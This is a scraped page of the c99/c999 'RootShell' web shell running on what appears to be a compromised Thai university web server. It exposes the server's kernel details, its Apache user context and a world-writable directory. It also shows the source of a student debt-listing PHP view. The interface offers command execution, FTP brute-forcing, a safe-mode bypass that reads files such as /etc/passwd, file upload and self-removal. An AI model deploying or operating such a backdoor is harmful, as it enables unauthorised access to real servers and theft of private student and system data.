!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_std_showDbt.php (3.04 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_std 
= (isset($qu_std) && $qu_std!=NULL) ? $qu_std->row() : NULL;
$row_lv= (isset($qu_lv) && $qu_lv!=NULL) ? $qu_lv->row() : NULL;
?>
<table width="100%" border="0" cellspacing="1" cellpadding="1">
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td align="center"><span class="h error">ตรวจสอบหนี้สิน</span></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td align="center">
        <table class="szone">
        <tr bgcolor="<?php echo $tr_color_even;?>">
                <td class="coltd_szone">รหัสนักศึกษา</td>
                <td><?php echo $row_std->stdCode;?></td>
                <td class="coltd_szone">ชื่อ-นามสกุล</td>
                <td> <?php echo $row_std->prefixName.$row_std->stdName.' '.$row_std->stdSurname;?></td>    
            </tr>
            <tr bgcolor="<?php echo $tr_color_even;?>">
                <td class="coltd_szone">หลักสูตร</td>
                <td colspan="3"><?php echo $row_std->curName;?></td>
            </tr>
            <tr bgcolor="<?php echo $tr_color_even;?>">
                <td class="coltd_szone">ชั้นปี</td>
                <td><?php echo $row_std->syId;?></td>
                <td class="coltd_szone">ระดับการศึกษา</td>
                <td><?php echo $row_lv->levelName;?></td>
            </tr>
            <tr>
                <td><br /></td>
            </tr>
        </table></td>
    </tr>
    <tr>
        <td align="center"><table class="headCol">
            <tr>
                <th class="seqCol">ลำดับที่</th>
                <th>รายการ</th>
                <th class="acYCol">ภาค/ปีการศึกษา</th>
                <th class="domAmtCol">จำนวนเงิน</th>
            </tr>
<?php
    $i 
0;
    if(isset(
$arr)) {
        foreach(
$arr as $key => $val) {
?>
            <tr>
                <td colspan="4" height="22" bgColor="<?php echo $this->config->item("rg_head_tb_headCol");?>" class="fontT indent"><?php echo $arr[$key]['org']->orgName;?></td>
            </tr>
<?php
            $seq 
0;
            if(
$arr[$key]['dbt']->num_rows()) {
                foreach(
$arr[$key]['dbt']->result() as $row_dbt) {
                    echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                <td height="22" align="center"><?php echo $seq+1;?></td>
                <td class="indent"><?php echo $row_dbt->dbtDescription;?></td>
                <td align="center"><?php echo $row_dbt->dbtTmId."/".$row_dbt->dbtAcY;?></td>
                <td align="right"><?php echo number_format($row_dbt->dbtAmt2);?></td>
            </tr>
<?php
                    $seq
++;
                }
            } else {
                echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                <td></td>
                <td class="indent">-</td>
                <td></td>
                <td></td>
            </tr>
<?php
            
}
            
$i++;
        }
    } else {
            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                    <td height="22"></td>
                    <td class="indent">-</td>
                    <td></td>
                    <td></td>
                </tr>
<?php
    
}
?>
            <tr bgcolor="<?php echo $table_color_even;?>">
                <td colspan="3" height="22" align="right"><b>รวมเงินทั้งสิ้น</b></td>
                <td align="right"><?php echo number_format($sumDbtAmt2);?></td>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0106 ]--